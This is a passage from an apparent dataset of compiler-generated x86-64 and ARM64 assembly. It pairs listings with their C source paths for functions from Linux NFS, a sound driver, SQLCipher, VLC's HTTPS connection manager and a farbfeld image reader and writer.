b LBB0_22
LBB0_19: ; in Loop: Header=BB0_22 Depth=1
ldr w8, [sp, #20] ; 4-byte Folded Reload
LBB0_20: ; in Loop: Header=BB0_22 Depth=1
str x8, [sp]
mov x0, x19
bl _printf
LBB0_21: ; in Loop: Header=BB0_22 Depth=1
sub w20, w20, #1
cmp w20, #1
b.le LBB0_17
LBB0_22: ; =>This Inner Loop Header: Depth=1
sub w8, w20, #2
cmp w8, #9
b.hi LBB0_21
; %bb.23: ; in Loop: Header=BB0_22 Depth=1
adr x9, LBB0_19
ldrb w10, [x21, x8]
add x9, x9, x10, lsl #2
mov x8, x22
br x9
LBB0_24: ; in Loop: Header=BB0_22 Depth=1
mov x8, x23
b LBB0_20
LBB0_25: ; in Loop: Header=BB0_22 Depth=1
mov x8, x24
b LBB0_20
LBB0_26: ; in Loop: Header=BB0_22 Depth=1
mov x8, x25
b LBB0_20
LBB0_27: ; in Loop: Header=BB0_22 Depth=1
mov x8, x26
b LBB0_20
LBB0_28: ; in Loop: Header=BB0_22 Depth=1
mov x8, x27
b LBB0_20
LBB0_29: ; in Loop: Header=BB0_22 Depth=1
mov x8, x28
b LBB0_20
LBB0_30: ; in Loop: Header=BB0_22 Depth=1
ldr w8, [sp, #24] ; 4-byte Folded Reload
b LBB0_20
LBB0_31:
ldr x8, [sp, #8] ; 8-byte Folded Reload
str x8, [sp]
Lloh14:
adrp x0, l_.str.1@PAGE
Lloh15:
add x0, x0, l_.str.1@PAGEOFF
b LBB0_16
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpAdd Lloh8, Lloh9
.loh AdrpAdd Lloh14, Lloh15
.cfi_endproc
.section __TEXT,__const
lJTI0_0:
.byte (LBB0_6-LBB0_2)>>2
.byte (LBB0_7-LBB0_2)>>2
.byte (LBB0_8-LBB0_2)>>2
.byte (LBB0_9-LBB0_2)>>2
.byte (LBB0_10-LBB0_2)>>2
.byte (LBB0_11-LBB0_2)>>2
.byte (LBB0_12-LBB0_2)>>2
.byte (LBB0_13-LBB0_2)>>2
.byte (LBB0_14-LBB0_2)>>2
.byte (LBB0_2-LBB0_2)>>2
lJTI0_1:
.byte (LBB0_31-LBB0_19)>>2
.byte (LBB0_20-LBB0_19)>>2
.byte (LBB0_24-LBB0_19)>>2
.byte (LBB0_25-LBB0_19)>>2
.byte (LBB0_26-LBB0_19)>>2
.byte (LBB0_27-LBB0_19)>>2
.byte (LBB0_28-LBB0_19)>>2
.byte (LBB0_29-LBB0_19)>>2
.byte (LBB0_30-LBB0_19)>>2
.byte (LBB0_19-LBB0_19)>>2
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Insira o numero deciaml entre 0 a 1023:"
l_.str.1: ; @.str.1
.asciz "%i"
l_.str.2: ; @.str.2
.asciz "BIN: %i"
.subsections_via_symbols
| the_stack_data/45450430.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _nfs_do_submount ## -- Begin function nfs_do_submount
.p2align 4, 0x90
_nfs_do_submount: ## @nfs_do_submount
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
subq $40, %rsp
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %rbx
movl %ecx, -64(%rbp)
movq %rdx, -56(%rbp)
movq %rsi, -48(%rbp)
movq %rdi, -40(%rbp)
movl (%rdi), %eax
movl %eax, -32(%rbp)
movq _GFP_USER@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq ___get_free_page
testq %rax, %rax
je LBB0_5
## %bb.1:
movq %rax, %r14
movq _PAGE_SIZE@GOTPCREL(%rip), %rax
movl (%rax), %edx
movq %rbx, %rdi
movq %r14, %rsi
callq _nfs_devname
movq %rax, %r15
movq %rax, %rdi
callq _IS_ERR
testq %rax, %rax
je LBB0_3
## %bb.2:
movq %r15, %rdi
callq _ERR_CAST
jmp LBB0_4
LBB0_5:
movq _ENOMEM@GOTPCREL(%rip), %rax
xorl %edi, %edi
subl (%rax), %edi
addq $40, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
jmp _ERR_PTR ## TAILCALL
LBB0_3:
movl (%rbx), %edi
callq _NFS_SB
leaq -64(%rbp), %rdx
movl %eax, %edi
movq %r15, %rsi
callq _nfs_do_clone_mount
LBB0_4:
movq %rax, %rbx
movq %r14, %rdi
callq _free_page
movq %rbx, %rax
addq $40, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _GFP_USER,4,2 ## @GFP_USER
.comm _ENOMEM,4,2 ## @ENOMEM
.comm _PAGE_SIZE,4,2 ## @PAGE_SIZE
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _nfs_do_submount ; -- Begin function nfs_do_submount
.p2align 2
_nfs_do_submount: ; @nfs_do_submount
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x22, x21, [sp, #48] ; 16-byte Folded Spill
stp x20, x19, [sp, #64] ; 16-byte Folded Spill
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x20, x0
str w3, [sp, #8]
stp x2, x1, [sp, #16]
str x0, [sp, #32]
ldr w8, [x0]
str w8, [sp, #40]
Lloh0:
adrp x8, _GFP_USER@GOTPAGE
Lloh1:
ldr x8, [x8, _GFP_USER@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
bl ___get_free_page
cbz x0, LBB0_3
; %bb.1:
mov x19, x0
Lloh3:
adrp x8, _PAGE_SIZE@GOTPAGE
Lloh4:
ldr x8, [x8, _PAGE_SIZE@GOTPAGEOFF]
Lloh5:
ldr w2, [x8]
mov x0, x20
mov x1, x19
bl _nfs_devname
mov x21, x0
bl _IS_ERR
cbz x0, LBB0_4
; %bb.2:
mov x0, x21
bl _ERR_CAST
b LBB0_5
LBB0_3:
Lloh6:
adrp x8, _ENOMEM@GOTPAGE
Lloh7:
ldr x8, [x8, _ENOMEM@GOTPAGEOFF]
Lloh8:
ldr w8, [x8]
neg w0, w8
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #96
b _ERR_PTR
LBB0_4:
ldr w0, [x20]
bl _NFS_SB
add x2, sp, #8
mov x1, x21
bl _nfs_do_clone_mount
LBB0_5:
mov x20, x0
mov x0, x19
bl _free_page
mov x0, x20
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #96
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8
.cfi_endproc
; -- End function
.comm _GFP_USER,4,2 ; @GFP_USER
.comm _ENOMEM,4,2 ; @ENOMEM
.comm _PAGE_SIZE,4,2 ; @PAGE_SIZE
.subsections_via_symbols
| AnghaBench/linux/fs/nfs/extr_namespace.c_nfs_do_submount.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function iputbyte
_iputbyte: ## @iputbyte
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
addq (%rdi), %rsi
movl %edx, %edi
popq %rbp
jmp _iowrite8 ## TAILCALL
.cfi_endproc
## -- End function
.no_dead_strip _iputbyte
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function iputbyte
_iputbyte: ; @iputbyte
.cfi_startproc
; %bb.0:
ldr x8, [x0]
add x1, x8, x1
mov x0, x2
b _iowrite8
.cfi_endproc
; -- End function
.no_dead_strip _iputbyte
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/sound/pci/extr_intel8x0m.c_iputbyte.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _Sqlite_Init ## -- Begin function Sqlite_Init
.p2align 4, 0x90
_Sqlite_Init: ## @Sqlite_Init
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
jmp _Sqlite3_Init ## TAILCALL
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _Sqlite_Init ; -- Begin function Sqlite_Init
.p2align 2
_Sqlite_Init: ; @Sqlite_Init
.cfi_startproc
; %bb.0:
b _Sqlite3_Init
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/sqlcipher/src/extr_tclsqlite.c_Sqlite_Init.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function vlc_https_request
_vlc_https_request: ## @vlc_https_request
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rcx, %r14
movl %edx, %r15d
movq %rsi, %r12
movq %rdi, %rbx
movl $1, -44(%rbp)
cmpq $0, 16(%rdi)
je LBB0_6
LBB0_1:
movq %rbx, %rdi
movq %r12, %rsi
movl %r15d, %edx
movq %r14, %rcx
callq _vlc_http_mgr_reuse
testq %rax, %rax
jne LBB0_16
## %bb.2:
movq %r12, %rdi
movl %r15d, %esi
movl $1, %edx
callq _vlc_http_proxy_find
movq 16(%rbx), %rdi
testq %rax, %rax
je LBB0_10
## %bb.3:
movq %rax, %r13
leaq -44(%rbp), %r8
movq %rdi, %rsi
movq %r12, %rdx
movl %r15d, %ecx
movq %rax, %r9
callq _vlc_https_connect_proxy
movq %r13, %rdi
movq %rax, %r13
callq _free
testq %r13, %r13
jne LBB0_4
jmp LBB0_7
LBB0_6:
cmpq $0, (%rbx)
je LBB0_8
LBB0_7:
xorl %eax, %eax
jmp LBB0_16
LBB0_8:
movl 24(%rbx), %edi
callq _vlc_tls_ClientCreate
movq %rax, 16(%rbx)
testq %rax, %rax
jne LBB0_1
jmp LBB0_7
LBB0_10:
leaq -44(%rbp), %rcx
movq %r12, %rsi
movl %r15d, %edx
callq _vlc_https_connect
movq %rax, %r13
testq %r13, %r13
je LBB0_7
LBB0_4:
cmpl $0, -44(%rbp)
movl 8(%rbx), %edi
movq %r13, %rsi
je LBB0_12
## %bb.5:
callq _vlc_h2_conn_create
jmp LBB0_13
LBB0_12:
xorl %edx, %edx
callq _vlc_h1_conn_create
LBB0_13:
xorl %edi, %edi
movq %rax, -56(%rbp) ## 8-byte Spill
testq %rax, %rax
sete %dil
callq _unlikely
testq %rax, %rax
je LBB0_15
## %bb.14:
movq %r13, %rdi
callq _vlc_tls_Close
xorl %eax, %eax
jmp LBB0_16
LBB0_15:
movq -56(%rbp), %rax ## 8-byte Reload
movq %rax, (%rbx)
movq %rbx, %rdi
movq %r12, %rsi
movl %r15d, %edx
movq %r14, %rcx
callq _vlc_http_mgr_reuse
LBB0_16:
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip _vlc_https_request
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function vlc_https_request
_vlc_https_request: ; @vlc_https_request
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x24, x23, [sp, #16] ; 16-byte Folded Spill
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x19, x3
mov x20, x2
mov x21, x1
mov x22, x0
mov w8, #1
str w8, [sp, #12]
ldr x8, [x0, #16]
cbz x8, LBB0_4
LBB0_1:
mov x0, x22
mov x1, x21
mov x2, x20
mov x3, x19
bl _vlc_http_mgr_reuse
cbnz x0, LBB0_14
; %bb.2:
mov x0, x21
mov x1, x20
mov w2, #1
bl _vlc_http_proxy_find
mov x24, x0
ldr x0, [x22, #16]
cbz x24, LBB0_7
; %bb.3:
add x4, sp, #12
mov x1, x0
mov x2, x21
mov x3, x20
mov x5, x24
bl _vlc_https_connect_proxy
mov x23, x0
mov x0, x24
bl _free
cbnz x23, LBB0_8
b LBB0_5
LBB0_4:
ldr x8, [x22]
cbz x8, LBB0_6
LBB0_5:
mov x0, #0
b LBB0_14
LBB0_6:
ldr w0, [x22, #24]
bl _vlc_tls_ClientCreate
str x0, [x22, #16]
cbnz x0, LBB0_1
b LBB0_14
LBB0_7:
add x3, sp, #12
mov x1, x21
mov x2, x20
bl _vlc_https_connect
mov x23, x0
cbz x23, LBB0_5
LBB0_8:
ldr w8, [sp, #12]
ldr w0, [x22, #8]
mov x1, x23
cbz w8, LBB0_10
; %bb.9:
bl _vlc_h2_conn_create
b LBB0_11
LBB0_10:
mov w2, #0
bl _vlc_h1_conn_create
LBB0_11:
mov x24, x0
cmp x0, #0
cset w0, eq
bl _unlikely
cbz x0, LBB0_13
; %bb.12:
mov x0, x23
bl _vlc_tls_Close
mov x0, #0
b LBB0_14
LBB0_13:
str x24, [x22]
mov x0, x22
mov x1, x21
mov x2, x20
mov x3, x19
bl _vlc_http_mgr_reuse
LBB0_14:
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp x24, x23, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.no_dead_strip _vlc_https_request
.subsections_via_symbols
| AnghaBench/vlc/modules/access/http/extr_connmgr.c_vlc_https_request.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _efread ## -- Begin function efread
.p2align 4, 0x90
_efread: ## @efread
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rcx, %r14
movq %rdx, %rbx
callq _fread
movq %rax, %rcx
xorl %eax, %eax
cmpq %rbx, %rcx
je LBB0_2
## %bb.1:
movq %r14, %rdi
callq _ferror
cmpl $1, %eax
movl $3, %eax
sbbl $0, %eax
LBB0_2:
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _read_ff ## -- Begin function read_ff
.p2align 4, 0x90
_read_ff: ## @read_ff
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $40, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %r13
movq %rdi, %r14
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -48(%rbp)
leaq -56(%rbp), %rdi
movl $1, %esi
movl $8, %edx
movq %r13, %rcx
callq _fread
cmpq $8, %rax
jne LBB1_1
## %bb.2:
movabsq $7236270191690277222, %rcx ## imm = 0x646C656662726166
movl $1, %eax
cmpq %rcx, -56(%rbp)
jne LBB1_11
## %bb.3:
leaq -64(%rbp), %rdi
movl $4, %esi
movl $2, %edx
movq %r13, %rcx
callq _fread
cmpq $2, %rax
jne LBB1_1
## %bb.4:
movl -64(%rbp), %eax
bswapl %eax
movq %rax, 8(%r14)
movl -60(%rbp), %r15d
bswapl %r15d
movq %r15, (%r14)
imulq %rax, %r15
movl $8, %esi
movq %r15, %rdi
callq _calloc
movq %rax, 16(%r14)
testq %rax, %rax
je LBB1_5
## %bb.6:
testq %r15, %r15
je LBB1_7
## %bb.8:
xorl %ebx, %ebx
leaq -72(%rbp), %r12
.p2align 4, 0x90
LBB1_9: ## =>This Inner Loop Header: Depth=1
movl $2, %esi
movl $4, %edx
movq %r12, %rdi
movq %r13, %rcx
callq _fread
cmpq $4, %rax
jne LBB1_1
## %bb.10: ## in Loop: Header=BB1_9 Depth=1
movzwl -72(%rbp), %eax
rolw $8, %ax
movq 16(%r14), %rcx
movw %ax, (%rcx,%rbx,8)
movzwl -70(%rbp), %eax
rolw $8, %ax
movw %ax, 2(%rcx,%rbx,8)
movzwl -68(%rbp), %eax
rolw $8, %ax
movw %ax, 4(%rcx,%rbx,8)
movzwl -66(%rbp), %eax
rolw $8, %ax
movw %ax, 6(%rcx,%rbx,8)
incq %rbx
xorl %eax, %eax
cmpq %rbx, %r15
jne LBB1_9
jmp LBB1_11
LBB1_1:
movq %r13, %rdi
callq _ferror
cmpl $1, %eax
movl $3, %eax
sbbl $0, %eax
LBB1_11:
movq ___stack_chk_guard@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
cmpq -48(%rbp), %rcx
jne LBB1_13
## %bb.12:
addq $40, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB1_5:
movl $4, %eax
jmp LBB1_11
LBB1_7:
xorl %eax, %eax
jmp LBB1_11
LBB1_13:
callq ___stack_chk_fail
.cfi_endproc
## -- End function
.globl _scale_ff ## -- Begin function scale_ff
.p2align 4, 0x90
_scale_ff: ## @scale_ff
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $40, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %r13
movq %rsi, %rbx
movq %rdi, %r14
movq 8(%rdi), %rax
imulq %rdx, %rax
movq %rax, 8(%rsi)
movq (%rdi), %rdi
imulq %rdx, %rdi
movq %rdi, (%rsi)
imulq %rax, %rdi
movl $8, %esi
callq _calloc
movq %rax, 16(%rbx)
movq (%r14), %r8
testq %r8, %r8
je LBB2_6
## %bb.1:
movq %r14, %rdi
movq 8(%r14), %rdx
movq %r13, %r14
andq $-2, %r14
negq %r14
xorl %eax, %eax
movq %rax, -56(%rbp) ## 8-byte Spill
movq %rdx, %rcx
xorl %eax, %eax
movq %rax, -48(%rbp) ## 8-byte Spill
movq %rdi, -64(%rbp) ## 8-byte Spill
jmp LBB2_2
.p2align 4, 0x90
LBB2_4: ## in Loop: Header=BB2_2 Depth=1
movq (%rdi), %r8
movq %rdx, %rcx
LBB2_5: ## in Loop: Header=BB2_2 Depth=1
movq -48(%rbp), %rsi ## 8-byte Reload
incq %rsi
addq %r13, -56(%rbp) ## 8-byte Folded Spill
movq %rsi, %rax
movq %rsi, -48(%rbp) ## 8-byte Spill
cmpq %r8, %rsi
jae LBB2_6
LBB2_2: ## =>This Loop Header: Depth=1
## Child Loop BB2_8 Depth 2
## Child Loop BB2_10 Depth 3
## Child Loop BB2_12 Depth 4
testq %rcx, %rcx
je LBB2_3
## %bb.7: ## in Loop: Header=BB2_2 Depth=1
movq -48(%rbp), %r11 ## 8-byte Reload
imulq %r13, %r11
movl $1, %r8d
xorl %r10d, %r10d
jmp LBB2_8
.p2align 4, 0x90
LBB2_17: ## in Loop: Header=BB2_8 Depth=2
movq -64(%rbp), %rdi ## 8-byte Reload
movq 8(%rdi), %rdx
movq -72(%rbp), %r10 ## 8-byte Reload
LBB2_18: ## in Loop: Header=BB2_8 Depth=2
incq %r10
addq %r13, %r8
movq %rdx, %rcx
cmpq %rdx, %r10
jae LBB2_4
LBB2_8: ## Parent Loop BB2_2 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB2_10 Depth 3
## Child Loop BB2_12 Depth 4
testq %r13, %r13
je LBB2_18
## %bb.9: ## in Loop: Header=BB2_8 Depth=2
imulq -48(%rbp), %rcx ## 8-byte Folded Reload
addq %r10, %rcx
movq 16(%rdi), %rdx
movq (%rdx,%rcx,8), %rdx
movq %r10, -72(%rbp) ## 8-byte Spill
imulq %r13, %r10
movq -56(%rbp), %rsi ## 8-byte Reload
xorl %r9d, %r9d
jmp LBB2_10
.p2align 4, 0x90
LBB2_16: ## in Loop: Header=BB2_10 Depth=3
incq %r9
incq %rsi
cmpq %r13, %r9
je LBB2_17
LBB2_10: ## Parent Loop BB2_2 Depth=1
## Parent Loop BB2_8 Depth=2
## => This Loop Header: Depth=3
## Child Loop BB2_12 Depth 4
xorl %ecx, %ecx
cmpq $1, %r13
je LBB2_14
## %bb.11: ## in Loop: Header=BB2_10 Depth=3
movq %r8, %r12
.p2align 4, 0x90
LBB2_12: ## Parent Loop BB2_2 Depth=1
## Parent Loop BB2_8 Depth=2
## Parent Loop BB2_10 Depth=3
## => This Inner Loop Header: Depth=4
movq 16(%rbx), %rdi
movq 8(%rbx), %r15
imulq %rsi, %r15
addq %r12, %r15
movq %rdx, -8(%rdi,%r15,8)
movq 16(%rbx), %rdi
movq 8(%rbx), %rax
imulq %rsi, %rax
addq %r12, %rax
movq %rdx, (%rdi,%rax,8)
addq $2, %r12
addq $-2, %rcx
cmpq %rcx, %r14
jne LBB2_12
## %bb.13: ## in Loop: Header=BB2_10 Depth=3
negq %rcx
LBB2_14: ## in Loop: Header=BB2_10 Depth=3
testb $1, %r13b
je LBB2_16
## %bb.15: ## in Loop: Header=BB2_10 Depth=3
leaq (%r9,%r11), %rdi
addq %r10, %rcx
movq 16(%rbx), %r12
imulq 8(%rbx), %rdi
addq %rcx, %rdi
movq %rdx, (%r12,%rdi,8)
jmp LBB2_16
.p2align 4, 0x90
LBB2_3: ## in Loop: Header=BB2_2 Depth=1
xorl %ecx, %ecx
jmp LBB2_5
LBB2_6:
addq $40, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal16,16byte_literals
.p2align 4 ## -- Begin function write_ff
LCPI3_0:
.byte 1 ## 0x1
.byte 0 ## 0x0
.byte 3 ## 0x3
.byte 2 ## 0x2
.byte 5 ## 0x5
.byte 4 ## 0x4
.byte 7 ## 0x7
.byte 6 ## 0x6
.byte 9 ## 0x9
.byte 8 ## 0x8
.byte 11 ## 0xb
.byte 10 ## 0xa
.byte 13 ## 0xd
.byte 12 ## 0xc
.byte 15 ## 0xf
.byte 14 ## 0xe
.section __TEXT,__text,regular,pure_instructions
.globl _write_ff
.p2align 4, 0x90
_write_ff: ## @write_ff
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $56, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %r15
movq %rdi, %rbx
leaq L_.str(%rip), %rdi
callq _fputs
movl 8(%rbx), %eax
bswapl %eax
movl %eax, -44(%rbp)
leaq -44(%rbp), %r14
movl $4, %esi
movl $1, %edx
movq %r14, %rdi
movq %r15, %rcx
callq _fwrite
movl (%rbx), %eax
bswapl %eax
movl %eax, -44(%rbp)
movl $4, %esi
movl $1, %edx
movq %r14, %rdi
movq %r15, -80(%rbp) ## 8-byte Spill
movq %r15, %rcx
callq _fwrite
movq 8(%rbx), %r14
leaq (,%r14,8), %rdi
callq _malloc
movq %rax, %r15
movq %rbx, -56(%rbp) ## 8-byte Spill
cmpq $0, (%rbx)
je LBB3_29
## %bb.1:
leaq 4(%r15), %rax
movq %rax, -72(%rbp) ## 8-byte Spill
leaq 6(%r15), %r13
leaq 2(%r15), %rax
movq %rax, -64(%rbp) ## 8-byte Spill
xorl %r8d, %r8d
pxor %xmm12, %xmm12
movdqa LCPI3_0(%rip), %xmm13 ## xmm13 = [1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14]
xorl %r12d, %r12d
jmp LBB3_3
.p2align 4, 0x90
LBB3_2: ## in Loop: Header=BB3_3 Depth=1
shlq $2, %r14
movl $2, %esi
movq %r15, %rdi
movq %r14, %rdx
movq -80(%rbp), %rcx ## 8-byte Reload
movq %r8, -88(%rbp) ## 8-byte Spill
callq _fwrite
movq -56(%rbp), %rbx ## 8-byte Reload
movq 8(%rbx), %r14
leaq (,%r14,8), %rsi
movq %r15, %rdi
callq ___bzero
movdqa LCPI3_0(%rip), %xmm13 ## xmm13 = [1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14]
pxor %xmm12, %xmm12
movq -88(%rbp), %r8 ## 8-byte Reload
incq %r12
addq $8, %r8
cmpq (%rbx), %r12
jae LBB3_29
LBB3_3: ## =>This Loop Header: Depth=1
## Child Loop BB3_18 Depth 2
## Child Loop BB3_28 Depth 2
testq %r14, %r14
je LBB3_2
## %bb.4: ## in Loop: Header=BB3_3 Depth=1
movq -56(%rbp), %rax ## 8-byte Reload
movq 16(%rax), %rcx
cmpq $8, %r14
jae LBB3_6
LBB3_26: ## in Loop: Header=BB3_3 Depth=1
xorl %eax, %eax
LBB3_27: ## in Loop: Header=BB3_3 Depth=1
movq %r14, %rdx
imulq %r8, %rdx
leaq (%rcx,%rdx), %r10
addq $6, %r10
.p2align 4, 0x90
LBB3_28: ## Parent Loop BB3_3 Depth=1
## => This Inner Loop Header: Depth=2
movzwl -6(%r10,%rax,8), %edx
movzwl -4(%r10,%rax,8), %esi
movzwl -2(%r10,%rax,8), %ecx
movzwl (%r10,%rax,8), %ebx
rolw $8, %dx
movw %dx, -6(%r13,%rax,8)
rolw $8, %si
movw %si, -4(%r13,%rax,8)
rolw $8, %cx
rolw $8, %bx
movw %cx, -2(%r13,%rax,8)
movw %bx, (%r13,%rax,8)
incq %rax
cmpq %rax, %r14
jne LBB3_28
jmp LBB3_2
.p2align 4, 0x90
LBB3_6: ## in Loop: Header=BB3_3 Depth=1
leaq -1(%r14), %rax
movl $8, %edx
mulq %rdx
seto %dl
movq -72(%rbp), %rbx ## 8-byte Reload
leaq (%rbx,%rax), %rsi
cmpq %rbx, %rsi
jb LBB3_26
## %bb.7: ## in Loop: Header=BB3_3 Depth=1
testb %dl, %dl
jne LBB3_26
## %bb.8: ## in Loop: Header=BB3_3 Depth=1
leaq (%rax,%r13), %rsi
cmpq %r13, %rsi
jb LBB3_26
## %bb.9: ## in Loop: Header=BB3_3 Depth=1
testb %dl, %dl
jne LBB3_26
## %bb.10: ## in Loop: Header=BB3_3 Depth=1
movq -64(%rbp), %rbx ## 8-byte Reload
leaq (%rbx,%rax), %rsi
cmpq %rbx, %rsi
jb LBB3_26
## %bb.11: ## in Loop: Header=BB3_3 Depth=1
testb %dl, %dl
jne LBB3_26
## %bb.12: ## in Loop: Header=BB3_3 Depth=1
addq %r15, %rax
cmpq %r15, %rax
jb LBB3_26
## %bb.13: ## in Loop: Header=BB3_3 Depth=1
movl $0, %eax
testb %dl, %dl
jne LBB3_27
## %bb.14: ## in Loop: Header=BB3_3 Depth=1
leaq 8(,%r12,8), %rax
imulq %r14, %rax
addq %rcx, %rax
cmpq %rax, %r15
jae LBB3_17
## %bb.15: ## in Loop: Header=BB3_3 Depth=1
leaq (,%r12,8), %rax
leaq (%r15,%r14,8), %rdx
imulq %r14, %rax
addq %rcx, %rax
cmpq %rdx, %rax
jb LBB3_26
LBB3_17: ## in Loop: Header=BB3_3 Depth=1
movq %r14, %rax
andq $-8, %rax
movq %r14, %rdx
imulq %r8, %rdx
addq %rcx, %rdx
xorl %esi, %esi
.p2align 4, 0x90
LBB3_18: ## Parent Loop BB3_3 Depth=1
## => This Inner Loop Header: Depth=2
movdqu (%rdx,%rsi,8), %xmm0
movdqu 16(%rdx,%rsi,8), %xmm1
movdqu 32(%rdx,%rsi,8), %xmm2
movdqu 48(%rdx,%rsi,8), %xmm3
pshufd $232, %xmm3, %xmm8 ## xmm8 = xmm3[0,2,2,3]
